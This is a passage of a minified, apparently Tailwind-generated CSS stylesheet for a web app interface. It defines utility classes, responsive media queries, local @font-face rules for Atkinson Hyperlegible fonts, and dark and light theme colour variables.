8)}.py-14{padding-block:calc(var(--spacing) * 14)}.pt-0\.5{padding-top:calc(var(--spacing) * .5)}.pt-2{padding-top:calc(var(--spacing) * 2)}.pt-2\.5{padding-top:calc(var(--spacing) * 2.5)}.pt-3{padding-top:calc(var(--spacing) * 3)}.pt-4{padding-top:calc(var(--spacing) * 4)}.pt-4\.5{padding-top:calc(var(--spacing) * 4.5)}.pt-5{padding-top:calc(var(--spacing) * 5)}.pt-6{padding-top:calc(var(--spacing) * 6)}.pt-\[6vh\]{padding-top:6vh}.pt-\[12vh\]{padding-top:12vh}.pr-0\.5{padding-right:calc(var(--spacing) * .5)}.pr-2{padding-right:calc(var(--spacing) * 2)}.pr-2\.5{padding-right:calc(var(--spacing) * 2.5)}.pr-3\.5{padding-right:calc(var(--spacing) * 3.5)}.pb-1{padding-bottom:var(--spacing)}.pb-1\.5{padding-bottom:calc(var(--spacing) * 1.5)}.pb-2{padding-bottom:calc(var(--spacing) * 2)}.pb-2\.5{padding-bottom:calc(var(--spacing) * 2.5)}.pb-2\.25{padding-bottom:calc(var(--spacing) * 2.25)}.pb-3{padding-bottom:calc(var(--spacing) * 3)}.pb-3\.5{padding-bottom:calc(var(--spacing) * 3.5)}.pb-4{padding-bottom:calc(var(--spacing) * 4)}.pb-4\.5{padding-bottom:calc(var(--spacing) * 4.5)}.pb-5{padding-bottom:calc(var(--spacing) * 5)}.pb-5\.5{padding-bottom:calc(var(--spacing) * 5.5)}.pb-6{padding-bottom:calc(var(--spacing) * 6)}.pb-7{padding-bottom:calc(var(--spacing) * 7)}.pb-24{padding-bottom:calc(var(--spacing) * 24)}.pl-3{padding-left:calc(var(--spacing) * 3)}.pl-5{padding-left:calc(var(--spacing) * 5)}.pl-6{padding-left:calc(var(--spacing) * 6)}.pl-10{padding-left:calc(var(--spacing) * 10)}.text-center{text-align:center}.text-left{text-align:left}.text-right{text-align:right}.align-bottom{vertical-align:bottom}.align-top{vertical-align:top}.font-mono{font-family:var(--font-mono)}.text-name{font-size:var(--text-name);line-height:var(--tw-leading,var(--text-name--line-height));letter-spacing:var(--tw-tracking,var(--text-name--letter-spacing))}.text-stat{font-size:var(--text-stat);line-height:var(--tw-leading,var(--text-stat--line-height));letter-spacing:var(--tw-tracking,var(--text-stat--letter-spacing))}.text-title{font-size:var(--text-title);line-height:var(--tw-leading,var(--text-title--line-height));letter-spacing:var(--tw-tracking,var(--text-title--letter-spacing))}.text-unit{font-size:var(--text-unit);line-height:var(--tw-leading,var(--text-unit--line-height));letter-spacing:var(--tw-tracking,var(--text-unit--letter-spacing))}.text-wait{font-size:var(--text-wait);line-height:var(--tw-leading,var(--text-wait--line-height));letter-spacing:var(--tw-tracking,var(--text-wait--letter-spacing))}.text-wordmark{font-size:var(--text-wordmark);line-height:var(--tw-leading,var(--text-wordmark--line-height));letter-spacing:var(--tw-tracking,var(--text-wordmark--letter-spacing))}.text-body{font-size:var(--text-body);line-height:var(--tw-leading,var(--text-body--line-height))}.text-caption{font-size:var(--text-caption);line-height:var(--tw-leading,var(--text-caption--line-height))}.text-fact{font-size:var(--text-fact);line-height:var(--tw-leading,var(--text-fact--line-height))}.text-lead{font-size:var(--text-lead);line-height:var(--tw-leading,var(--text-lead--line-height))}.text-micro{font-size:var(--text-micro);line-height:var(--tw-leading,var(--text-micro--line-height))}.text-row{font-size:var(--text-row);line-height:var(--tw-leading,var(--text-row--line-height))}.leading-3\.5{--tw-leading:calc(var(--spacing) * 3.5);line-height:calc(var(--spacing) * 3.5)}.leading-5{--tw-leading:calc(var(--spacing) * 5);line-height:calc(var(--spacing) * 5)}.leading-none{--tw-leading:1;line-height:1}.leading-tight{--tw-leading:var(--leading-tight);line-height:var(--leading-tight)}.font-medium{--tw-font-weight:var(--font-weight-medium);font-weight:var(--font-weight-medium)}.font-normal{--tw-font-weight:var(--font-weight-normal);font-weight:var(--font-weight-normal)}.font-semibold{--tw-font-weight:var(--font-weight-semibold);font-weight:var(--font-weight-semibold)}.font-mono{letter-spacing:-.02em;word-spacing:-.22em;font-variant-numeric:tabular-nums}.\[letter-spacing\:0\]\!{letter-spacing:0!important}.text-pretty{text-wrap:pretty}.wrap-anywhere{overflow-wrap:anywhere}.wrap-break-word{overflow-wrap:break-word}.whitespace-nowrap{white-space:nowrap}.whitespace-pre{white-space:pre}.whitespace-pre-wrap{white-space:pre-wrap}.text-ink{color:var(--ink)}.text-ink-muted{color:var(--ink-muted)}.text-ink-secondary{color:var(--ink-secondary)}.text-label-needs-you{color:var(--label-needs-you)}.text-on-needs-you{color:var(--on-needs-you)}.text-status-finished{color:var(--status-finished)}.text-status-idle{color:var(--status-idle)}.text-status-needs-you-edge{color:var(--status-needs-you-edge)}.text-status-working{color:var(--status-working)}.lowercase{text-transform:lowercase}.tabular-nums{--tw-numeric-spacing:tabular-nums;font-variant-numeric:var(--tw-ordinal,) var(--tw-slashed-zero,) var(--tw-numeric-figure,) var(--tw-numeric-spacing,) var(--tw-numeric-fraction,)}.underline{text-decoration-line:underline}.decoration-rule-strong{-webkit-text-decoration-color:var(--rule-strong);text-decoration-color:var(--rule-strong)}.underline-offset-2{text-underline-offset:2px}.opacity-70{opacity:.7}.shadow-edge{--tw-shadow:inset 3px 0 0 var(--tw-shadow-color,var(--ink));box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.shadow-glow{--tw-shadow:0 8px 22px -8px var(--tw-shadow-color,var(--glow-needs-you));box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.shadow-thumb{--tw-shadow:0 2px 6px -2px var(--tw-shadow-color,var(--thumb-drop));box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.ring{--tw-ring-shadow:var(--tw-ring-inset,) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color,currentcolor);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.inset-shadow-lit{--tw-inset-shadow:inset 0 1px 0 var(--tw-inset-shadow-color,var(--lit-top));box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.inset-shadow-top{--tw-inset-shadow:inset 0 1px 0 var(--tw-inset-shadow-color,var(--control-top));box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.inset-shadow-well{--tw-inset-shadow:inset 0 1px 2px var(--tw-inset-shadow-color,var(--well-shade));box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.inset-ring{--tw-inset-ring-shadow:inset 0 0 0 1px var(--tw-inset-ring-color,currentcolor);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.inset-ring-control-rim{--tw-inset-ring-color:var(--control-rim)}.inset-ring-hairline{--tw-inset-ring-color:var(--hairline)}.inset-ring-rule{--tw-inset-ring-color:var(--rule)}.inset-ring-rule-strong{--tw-inset-ring-color:var(--rule-strong)}.inset-ring-status-idle{--tw-inset-ring-color:var(--status-idle)}.inset-ring-status-needs-you-edge{--tw-inset-ring-color:var(--status-needs-you-edge)}.outline{outline-style:var(--tw-outline-style);outline-width:1px}.sepia{--tw-sepia:sepia(100%);filter:var(--tw-blur,) var(--tw-brightness,) var(--tw-contrast,) var(--tw-grayscale,) var(--tw-hue-rotate,) var(--tw-invert,) var(--tw-saturate,) var(--tw-sepia,) var(--tw-drop-shadow,)}.filter{filter:var(--tw-blur,) var(--tw-brightness,) var(--tw-contrast,) var(--tw-grayscale,) var(--tw-hue-rotate,) var(--tw-invert,) var(--tw-saturate,) var(--tw-sepia,) var(--tw-drop-shadow,)}.transition{transition-property:color,background-color,border-color,outline-color,text-decoration-color,fill,stroke,--tw-gradient-from,--tw-gradient-via,--tw-gradient-to,opacity,box-shadow,transform,translate,scale,rotate,filter,-webkit-backdrop-filter,backdrop-filter,display,content-visibility,overlay,pointer-events;transition-timing-function:var(--tw-ease,var(--default-transition-timing-function));transition-duration:var(--tw-duration,var(--default-transition-duration))}.transition-\[background-color\,color\,filter\]{transition-property:background-color,color,filter;transition-timing-function:var(--tw-ease,var(--default-transition-timing-function));transition-duration:var(--tw-duration,var(--default-transition-duration))}.transition-colors{transition-property:color,background-color,border-color,outline-color,text-decoration-color,fill,stroke,--tw-gradient-from,--tw-gradient-via,--tw-gradient-to;transition-timing-function:var(--tw-ease,var(--default-transition-timing-function));transition-duration:var(--tw-duration,var(--default-transition-duration))}.transition-transform{transition-property:transform,translate,scale,rotate;transition-timing-function:var(--tw-ease,var(--default-transition-timing-function));transition-duration:var(--tw-duration,var(--default-transition-duration))}.duration-120{--tw-duration:.12s;transition-duration:.12s}.duration-220{--tw-duration:.22s;transition-duration:.22s}.fade-in-0{--tw-enter-opacity:0}.outline-none{--tw-outline-style:none;outline-style:none}.select-all{-webkit-user-select:all;user-select:all}.select-text{-webkit-user-select:text;user-select:text}.\[word-spacing\:normal\]\!{word-spacing:normal!important}.fade-in{--tw-enter-opacity:0}.fade-out{--tw-exit-opacity:0}.paused{animation-play-state:paused}.running{animation-play-state:running}@media(hover:hover){.group-hover\:bg-fill-selected:is(:where(.group):hover *){background-color:var(--fill-selected)}.group-hover\:text-ink:is(:where(.group):hover *){color:var(--ink)}}.placeholder\:text-ink-muted::placeholder{color:var(--ink-muted)}.before\:pointer-events-none:before{content:var(--tw-content);pointer-events:none}.before\:absolute:before{content:var(--tw-content);position:absolute}.before\:-inset-x-1:before{content:var(--tw-content);inset-inline:calc(var(--spacing) * -1)}.before\:inset-x-0:before{content:var(--tw-content);inset-inline:0}.before\:inset-x-2\.5:before{content:var(--tw-content);inset-inline:calc(var(--spacing) * 2.5)}.before\:inset-y-0:before{content:var(--tw-content);inset-block:0}.before\:inset-y-px:before{content:var(--tw-content);inset-block:1px}.before\:-top-2:before{content:var(--tw-content);top:calc(var(--spacing) * -2)}.before\:top-1\/2:before{content:var(--tw-content);top:50%}.before\:right-0:before{content:var(--tw-content);right:0}.before\:left-1\/2:before{content:var(--tw-content);left:50%}.before\:-z-10:before{content:var(--tw-content);z-index:-10}.before\:h-1:before{content:var(--tw-content);height:var(--spacing)}.before\:h-px:before{content:var(--tw-content);height:1px}.before\:w-px:before{content:var(--tw-content);width:1px}.before\:rounded-inner:before{content:var(--tw-content);border-radius:var(--radius-inner)}.before\:bg-hairline:before{content:var(--tw-content);background-color:var(--hairline)}.before\:bg-rule-strong:before{content:var(--tw-content);background-color:var(--rule-strong)}.before\:transition-colors:before{content:var(--tw-content);transition-property:color,background-color,border-color,outline-color,text-decoration-color,fill,stroke,--tw-gradient-from,--tw-gradient-via,--tw-gradient-to;transition-timing-function:var(--tw-ease,var(--default-transition-timing-function));transition-duration:var(--tw-duration,var(--default-transition-duration))}.before\:duration-120:before{content:var(--tw-content);--tw-duration:.12s;transition-duration:.12s}@media(hover:hover){.group-hover\:before\:bg-fill-hover:is(:where(.group):hover *):before{content:var(--tw-content);background-color:var(--fill-hover)}}.group-has-\[a\[data-part\=name\]\:focus-visible\]\:before\:outline-2:is(:where(.group):has(:is(a[data-part=name]:focus-visible)) *):before{content:var(--tw-content);outline-style:var(--tw-outline-style);outline-width:2px}.group-has-\[a\[data-part\=name\]\:focus-visible\]\:before\:outline-offset-2:is(:where(.group):has(:is(a[data-part=name]:focus-visible)) *):before{content:var(--tw-content);outline-offset:2px}.group-has-\[a\[data-part\=name\]\:focus-visible\]\:before\:outline-focus:is(:where(.group):has(:is(a[data-part=name]:focus-visible)) *):before{content:var(--tw-content);outline-color:var(--focus)}.after\:absolute:after{content:var(--tw-content);position:absolute}.after\:-inset-1:after{content:var(--tw-content);inset:calc(var(--spacing) * -1)}.after\:inset-0:after{content:var(--tw-content);inset:0}.after\:rounded-inner:after{content:var(--tw-content);border-radius:var(--radius-inner)}.first\:pl-6:first-child{padding-left:calc(var(--spacing) * 6)}.last\:border-b-0:last-child{border-bottom-style:var(--tw-border-style);border-bottom-width:0}.last\:pr-4\.5:last-child{padding-right:calc(var(--spacing) * 4.5)}.odd\:bg-fill-zebra:nth-child(odd){background-color:var(--fill-zebra)}.empty\:hidden:empty{display:none}@media(hover:hover){.hover\:bg-fill-hover:hover{background-color:var(--fill-hover)}.hover\:bg-fill-selected:hover{background-color:var(--fill-selected)}.hover\:text-ink:hover{color:var(--ink)}.hover\:text-ink-secondary:hover{color:var(--ink-secondary)}.hover\:decoration-ink:hover{-webkit-text-decoration-color:var(--ink);text-decoration-color:var(--ink)}.hover\:brightness-105:hover{--tw-brightness:brightness(105%);filter:var(--tw-blur,) var(--tw-brightness,) var(--tw-contrast,) var(--tw-grayscale,) var(--tw-hue-rotate,) var(--tw-invert,) var(--tw-saturate,) var(--tw-sepia,) var(--tw-drop-shadow,)}}.focus-visible\:z-20:focus-visible{z-index:20}.focus-visible\:bg-fill-selected:focus-visible{background-color:var(--fill-selected)}.focus-visible\:text-ink:focus-visible{color:var(--ink)}.focus-visible\:-outline-offset-2:focus-visible{outline-offset:-2px}.focus-visible\:outline-none:focus-visible{--tw-outline-style:none;outline-style:none}.active\:brightness-97:active{--tw-brightness:brightness(97%);filter:var(--tw-blur,) var(--tw-brightness,) var(--tw-contrast,) var(--tw-grayscale,) var(--tw-hue-rotate,) var(--tw-invert,) var(--tw-saturate,) var(--tw-sepia,) var(--tw-drop-shadow,)}.disabled\:pointer-events-none:disabled{pointer-events:none}.disabled\:cursor-default:disabled{cursor:default}.disabled\:opacity-50:disabled{opacity:.5}.has-\[a\[data-part\=name\]\:focus-visible\]\:outline-2:has(:is(a[data-part=name]:focus-visible)){outline-style:var(--tw-outline-style);outline-width:2px}.has-\[a\[data-part\=name\]\:focus-visible\]\:outline-offset-2:has(:is(a[data-part=name]:focus-visible)){outline-offset:2px}.has-\[a\[data-part\=name\]\:focus-visible\]\:outline-focus:has(:is(a[data-part=name]:focus-visible)){outline-color:var(--focus)}.has-\[button\:focus-visible\]\:outline-2:has(:is(button:focus-visible)){outline-style:var(--tw-outline-style);outline-width:2px}.has-\[button\:focus-visible\]\:outline-offset-2:has(:is(button:focus-visible)){outline-offset:2px}.has-\[button\:focus-visible\]\:outline-focus:has(:is(button:focus-visible)){outline-color:var(--focus)}.aria-invalid\:inset-ring-rule-strong[aria-invalid=true]{--tw-inset-ring-color:var(--rule-strong)}.data-\[state\=checked\]\:bg-fill-selected[data-state=checked]{background-color:var(--fill-selected)}.data-\[state\=checked\]\:text-ink[data-state=checked]{color:var(--ink)}.data-\[state\=checked\]\:inset-shadow-top[data-state=checked]{--tw-inset-shadow:inset 0 1px 0 var(--tw-inset-shadow-color,var(--control-top));box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.data-\[state\=checked\]\:inset-ring-control-rim[data-state=checked]{--tw-inset-ring-color:var(--control-rim)}.data-\[state\=closed\]\:animate-drop[data-state=closed]{animation:var(--animate-drop)}.data-\[state\=closed\]\:animate-fade-out[data-state=closed]{animation:var(--animate-fade-out)}.data-\[state\=open\]\:animate-fade-in[data-state=open]{animation:var(--animate-fade-in)}.data-\[state\=open\]\:animate-rise-fast[data-state=open]{animation:var(--animate-rise-fast)}@media(hover:hover){.hover\:data-\[state\=unchecked\]\:bg-fill-quiet:hover[data-state=unchecked]{background-color:var(--fill-quiet)}}@media(prefers-reduced-motion:no-preference){.motion-safe\:animate-lamp{animation:var(--animate-lamp)}.motion-safe\:transition-transform{transition-property:transform,translate,scale,rotate;transition-timing-function:var(--tw-ease,var(--default-transition-timing-function));transition-duration:var(--tw-duration,var(--default-transition-duration))}.motion-safe\:duration-220{--tw-duration:.22s;transition-duration:.22s}.motion-safe\:ease-out{--tw-ease:var(--ease-out);transition-timing-function:var(--ease-out)}}@media not all and (min-width:1181px){.max-wide\:col-span-1{grid-column:span 1/span 1}.max-wide\:col-start-1{grid-column-start:1}.max-wide\:row-start-2{grid-row-start:2}.max-wide\:row-start-3{grid-row-start:3}.max-wide\:row-start-4{grid-row-start:4}.max-wide\:row-start-5{grid-row-start:5}.max-wide\:row-start-6{grid-row-start:6}.max-wide\:flex{display:flex}.max-wide\:hidden{display:none}.max-wide\:h-50{height:calc(var(--spacing) * 50)}.max-wide\:max-h-120{max-height:calc(var(--spacing) * 120)}.max-wide\:min-h-0{min-height:0}.max-wide\:w-full{width:100%}.max-wide\:flex-none{flex:none}.max-wide\:grid-cols-1{grid-template-columns:repeat(1,minmax(0,1fr))}.max-wide\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.max-wide\:flex-col{flex-direction:column}.max-wide\:flex-wrap{flex-wrap:wrap}.max-wide\:gap-y-3\.5{row-gap:calc(var(--spacing) * 3.5)}}@media not all and (min-width:761px){.max-mid\:sr-only{clip-path:inset(50%);white-space:nowrap;border-width:0;width:1px;height:1px;margin:-1px;padding:0;position:absolute;overflow:hidden}.max-mid\:order-last{order:9999}.max-mid\:col-start-1{grid-column-start:1}.max-mid\:col-start-2{grid-column-start:2}.max-mid\:row-start-1{grid-row-start:1}.max-mid\:row-start-2{grid-row-start:2}.max-mid\:my-0{margin-block:0}.max-mid\:mr-auto{margin-right:auto}.max-mid\:grid{display:grid}.max-mid\:hidden{display:none}.max-mid\:w-11{width:calc(var(--spacing) * 11)}.max-mid\:w-14{width:calc(var(--spacing) * 14)}.max-mid\:w-auto{width:auto}.max-mid\:min-w-0{min-width:0}.max-mid\:flex-1{flex:1}.max-mid\:basis-full{flex-basis:100%}.max-mid\:grid-cols-\[minmax\(0\,1fr\)_auto\]{grid-template-columns:minmax(0,1fr) auto}.max-mid\:flex-col{flex-direction:column}.max-mid\:flex-wrap{flex-wrap:wrap}.max-mid\:items-start{align-items:flex-start}.max-mid\:items-stretch{align-items:stretch}.max-mid\:justify-between{justify-content:space-between}.max-mid\:gap-0\.5{gap:calc(var(--spacing) * .5)}.max-mid\:gap-1\.5{gap:calc(var(--spacing) * 1.5)}.max-mid\:gap-2{gap:calc(var(--spacing) * 2)}.max-mid\:gap-2\.5{gap:calc(var(--spacing) * 2.5)}.max-mid\:gap-4{gap:calc(var(--spacing) * 4)}.max-mid\:gap-x-4{column-gap:calc(var(--spacing) * 4)}.max-mid\:gap-y-1{row-gap:var(--spacing)}.max-mid\:gap-y-1\.5{row-gap:calc(var(--spacing) * 1.5)}.max-mid\:gap-y-2{row-gap:calc(var(--spacing) * 2)}.max-mid\:gap-y-3{row-gap:calc(var(--spacing) * 3)}.max-mid\:justify-self-end{justify-self:flex-end}.max-mid\:border-l-0{border-left-style:var(--tw-border-style);border-left-width:0}.max-mid\:p-5{padding:calc(var(--spacing) * 5)}.max-mid\:px-5{padding-inline:calc(var(--spacing) * 5)}.max-mid\:py-2\.5{padding-block:calc(var(--spacing) * 2.5)}.max-mid\:pl-0{padding-left:0}.max-mid\:pl-4{padding-left:calc(var(--spacing) * 4)}.max-mid\:text-left{text-align:left}}@media(min-width:1181px){.wide\:absolute{position:absolute}.wide\:inset-0{inset:0}}@container not (min-width:42rem){.\@max-\[42rem\]\:hidden{display:none}}@container (min-width:26rem){.\@min-\[26rem\]\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}}@container (min-width:47rem){.\@min-\[47rem\]\:grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))}}.dark\:text-status-working:where([data-theme=dark],[data-theme=dark] *){color:var(--status-working)}.in-app\:w-rail:where([data-host=app] *){width:var(--spacing-rail)}.in-app-windowed\:block:where([data-host=app]:not([data-fullscreen]) *){display:block}.in-app-windowed\:rounded-inner:where([data-host=app]:not([data-fullscreen]) *){border-radius:var(--radius-inner)}}@property --tw-animation-delay{syntax:"*";inherits:false;initial-value:0s}@property --tw-animation-direction{syntax:"*";inherits:false;initial-value:normal}@property --tw-animation-duration{syntax:"*";inherits:false}@property --tw-animation-fill-mode{syntax:"*";inherits:false;initial-value:none}@property --tw-animation-iteration-count{syntax:"*";inherits:false;initial-value:1}@property --tw-enter-blur{syntax:"*";inherits:false;initial-value:0}@property --tw-enter-opacity{syntax:"*";inherits:false;initial-value:1}@property --tw-enter-rotate{syntax:"*";inherits:false;initial-value:0}@property --tw-enter-scale{syntax:"*";inherits:false;initial-value:1}@property --tw-enter-translate-x{syntax:"*";inherits:false;initial-value:0}@property --tw-enter-translate-y{syntax:"*";inherits:false;initial-value:0}@property --tw-exit-blur{syntax:"*";inherits:false;initial-value:0}@property --tw-exit-opacity{syntax:"*";inherits:false;initial-value:1}@property --tw-exit-rotate{syntax:"*";inherits:false;initial-value:0}@property --tw-exit-scale{syntax:"*";inherits:false;initial-value:1}@property --tw-exit-translate-x{syntax:"*";inherits:false;initial-value:0}@property --tw-exit-translate-y{syntax:"*";inherits:false;initial-value:0}@font-face{font-family:Atkinson Hyperlegible Next;font-style:normal;font-display:swap;font-weight:400;src:url(/assets/atkinson-hyperlegible-next-latin-ext-400-normal-BalHKn7d.woff2)format("woff2");unicode-range:U+100-2BA,U+2BD-2C5,U+2C7-2CC,U+2CE-2D7,U+2DD-2FF,U+304,U+308,U+329,U+1D00-1DBF,U+1E00-1E9F,U+1EF2-1EFF,U+2020,U+20A0-20AB,U+20AD-20C0,U+2113,U+2C60-2C7F,U+A720-A7FF}@font-face{font-family:Atkinson Hyperlegible Next;font-style:normal;font-display:swap;font-weight:400;src:url(/assets/atkinson-hyperlegible-next-latin-400-normal-FfmJh7DR.woff2)format("woff2");unicode-range:U+??,U+131,U+152-153,U+2BB-2BC,U+2C6,U+2DA,U+2DC,U+304,U+308,U+329,U+2000-206F,U+20AC,U+2122,U+2191,U+2193,U+2212,U+2215,U+FEFF,U+FFFD}@font-face{font-family:Atkinson Hyperlegible Next;font-style:normal;font-display:swap;font-weight:500;src:url(/assets/atkinson-hyperlegible-next-latin-ext-500-normal-CUASR3PD.woff2)format("woff2");unicode-range:U+100-2BA,U+2BD-2C5,U+2C7-2CC,U+2CE-2D7,U+2DD-2FF,U+304,U+308,U+329,U+1D00-1DBF,U+1E00-1E9F,U+1EF2-1EFF,U+2020,U+20A0-20AB,U+20AD-20C0,U+2113,U+2C60-2C7F,U+A720-A7FF}@font-face{font-family:Atkinson Hyperlegible Next;font-style:normal;font-display:swap;font-weight:500;src:url(/assets/atkinson-hyperlegible-next-latin-500-normal-gHP6TDRs.woff2)format("woff2");unicode-range:U+??,U+131,U+152-153,U+2BB-2BC,U+2C6,U+2DA,U+2DC,U+304,U+308,U+329,U+2000-206F,U+20AC,U+2122,U+2191,U+2193,U+2212,U+2215,U+FEFF,U+FFFD}@font-face{font-family:Atkinson Hyperlegible Next;font-style:normal;font-display:swap;font-weight:600;src:url(/assets/atkinson-hyperlegible-next-latin-ext-600-normal-kZZEtAc7.woff2)format("woff2");unicode-range:U+100-2BA,U+2BD-2C5,U+2C7-2CC,U+2CE-2D7,U+2DD-2FF,U+304,U+308,U+329,U+1D00-1DBF,U+1E00-1E9F,U+1EF2-1EFF,U+2020,U+20A0-20AB,U+20AD-20C0,U+2113,U+2C60-2C7F,U+A720-A7FF}@font-face{font-family:Atkinson Hyperlegible Next;font-style:normal;font-display:swap;font-weight:600;src:url(/assets/atkinson-hyperlegible-next-latin-600-normal-BBuhw47K.woff2)format("woff2");unicode-range:U+??,U+131,U+152-153,U+2BB-2BC,U+2C6,U+2DA,U+2DC,U+304,U+308,U+329,U+2000-206F,U+20AC,U+2122,U+2191,U+2193,U+2212,U+2215,U+FEFF,U+FFFD}@font-face{font-family:Atkinson Hyperlegible Mono;font-style:normal;font-display:swap;font-weight:400;src:url(/assets/atkinson-hyperlegible-mono-latin-ext-400-normal-CpVFOiMk.woff2)format("woff2");unicode-range:U+100-2BA,U+2BD-2C5,U+2C7-2CC,U+2CE-2D7,U+2DD-2FF,U+304,U+308,U+329,U+1D00-1DBF,U+1E00-1E9F,U+1EF2-1EFF,U+2020,U+20A0-20AB,U+20AD-20C0,U+2113,U+2C60-2C7F,U+A720-A7FF}@font-face{font-family:Atkinson Hyperlegible Mono;font-style:normal;font-display:swap;font-weight:400;src:url(/assets/atkinson-hyperlegible-mono-latin-400-normal-CmMGer93.woff2)format("woff2");unicode-range:U+??,U+131,U+152-153,U+2BB-2BC,U+2C6,U+2DA,U+2DC,U+304,U+308,U+329,U+2000-206F,U+20AC,U+2122,U+2191,U+2193,U+2212,U+2215,U+FEFF,U+FFFD}@font-face{font-family:Atkinson Hyperlegible Mono;font-style:normal;font-display:swap;font-weight:500;src:url(/assets/atkinson-hyperlegible-mono-latin-ext-500-normal-DE1cvYE7.woff2)format("woff2");unicode-range:U+100-2BA,U+2BD-2C5,U+2C7-2CC,U+2CE-2D7,U+2DD-2FF,U+304,U+308,U+329,U+1D00-1DBF,U+1E00-1E9F,U+1EF2-1EFF,U+2020,U+20A0-20AB,U+20AD-20C0,U+2113,U+2C60-2C7F,U+A720-A7FF}@font-face{font-family:Atkinson Hyperlegible Mono;font-style:normal;font-display:swap;font-weight:500;src:url(/assets/atkinson-hyperlegible-mono-latin-500-normal-CfDLaOZW.woff2)format("woff2");unicode-range:U+??,U+131,U+152-153,U+2BB-2BC,U+2C6,U+2DA,U+2DC,U+304,U+308,U+329,U+2000-206F,U+20AC,U+2122,U+2191,U+2193,U+2212,U+2215,U+FEFF,U+FFFD}@font-face{font-family:Atkinson Hyperlegible Mono;font-style:normal;font-display:swap;font-weight:600;src:url(/assets/atkinson-hyperlegible-mono-latin-ext-600-normal-DKhxRsTL.woff2)format("woff2");unicode-range:U+100-2BA,U+2BD-2C5,U+2C7-2CC,U+2CE-2D7,U+2DD-2FF,U+304,U+308,U+329,U+1D00-1DBF,U+1E00-1E9F,U+1EF2-1EFF,U+2020,U+20A0-20AB,U+20AD-20C0,U+2113,U+2C60-2C7F,U+A720-A7FF}@font-face{font-family:Atkinson Hyperlegible Mono;font-style:normal;font-display:swap;font-weight:600;src:url(/assets/atkinson-hyperlegible-mono-latin-600-normal-BiYyYOKJ.woff2)format("woff2");unicode-range:U+??,U+131,U+152-153,U+2BB-2BC,U+2C6,U+2DA,U+2DC,U+304,U+308,U+329,U+2000-206F,U+20AC,U+2122,U+2191,U+2193,U+2212,U+2215,U+FEFF,U+FFFD}:root{--field-main-width:1760px;--field-main-height:470px;--field-main-right:-420px;--field-main-top:-150px;--field-main-turn:-13deg;--glass-blur:30px;--lit-top:#ffffff8c}:root,[data-theme=dark]{color-scheme:dark;--ground-top:#090908;--ground:linear-gradient(180deg, #090908 0%, #0b0a09 46%, #11100e 100%);--field:218 214 207;--field-deep:142 137 130;--field-strength:.23;--grain:.5;--lamp:255 166 60;--lamp-strength:.48;--rest:226 221 213;--rest-strength:.34;--glass-chrome:#100f0e99;--glass-card:#1312119e;--glass-raised:#211f1da8;--glass-float:#1e1c1ad6;--saturate:118%;--saturate-hero:185%;--rim:linear-gradient(205deg, #fff8ee4d 0%, #fff8ee17 20%, #fff8ee08 58%, #fff8ee14 100%);--rim-raised:linear-gradient(205deg, #fff8ee6b 0%, #fff8ee21 20%, #fff8ee0b 58%, #fff8ee1f 100%);--rim-lamp:linear-gradient(135deg, #ffb8608c 0%, #ffb86029 22%, #ffb86000 46%);--rim-rest:linear-gradient(135deg, #f0eae057 0%, #f0eae017 24%, #f0eae000 48%);--sheen:linear-gradient(180deg, #fff8ee11, #fff8ee03 120px, #fff8ee00 260px);--elev-1:0 0 0 1px #0000008c, 0 1px 1px #00000059, 0 14px 34px -18px #000c;--elev-2:0 0 0 1px #00000094, 0 1px 1px #00000061, 0 26px 52px -26px #000000e0;--elev-3:0 0 0 1px #0000009e, 0 2px 2px #0000006b, 0 44px 90px -34px #000000f2;--fill-quiet:#fff8ee0e;--fill-hover:#fff8ee0b;--fill-selected:#fff8ee1a;--fill-zebra:#fff8ee06;--control-rim:#fff8ee1a;--control-top:#fff8ee1a;--well:#0000004d;--well-shade:#00000059;--thumb:#fff8ee1c;--thumb-drop:#00000059;--hairline:#fff8ee13;--rule:#fff8ee1f;--rule-strong:#fff8ee38;--ink:#f3f0ea;--ink-secondary:#c3beb5;--ink-muted:#9e988f;--status-needs-you:#ffb547;--status-needs-you-edge:#ffb547;--label-needs-you:#ffb547;--on-needs-you:#221400;--glow-needs-you:#ffaa3c80;--status-working:#a9bcd4;--status-working-fill:#86a0bd;--status-working-top:#ffffff29;--status-idle:#948e85;--answered-fill:#948e8542;--status-finished:#9e988f;--tube:#fff8ee0a;--tube-rim:#fff8ee26;--tube-top:#fff8ee33;--unmeasured:#4b463f;--focus:#c3d3e6;--scrim:#0009}[data-theme=light]{color-scheme:light;--ground-top:#d4d0ca;--ground:linear-gradient(180deg, #d4d0ca, #ebe9e5);--field:255 255 255;--field-deep:240 235 227;--field-strength:.72;--grain:.3;--lamp:255 176 80;--lamp-strength:.46;--rest:255 255 255;--rest-strength:.7;--glass-chrome:#fcfbf985;--glass-card:#fffffe8f;--glass-raised:#ffffffa8;--glass-float:#fdfcfad6;--saturate:160%;--saturate-hero:190%;--rim:linear-gradient(205deg, #fff 0%, #ffffff9e 20%, #ffffff6b 60%, #fffc 100%);--rim-raised:linear-gradient(205deg, #fff 0%, #ffffffbf 20%, #ffffff85 60%, #ffffffe6 100%);--rim-lamp:linear-gradient(135deg, #e896288c 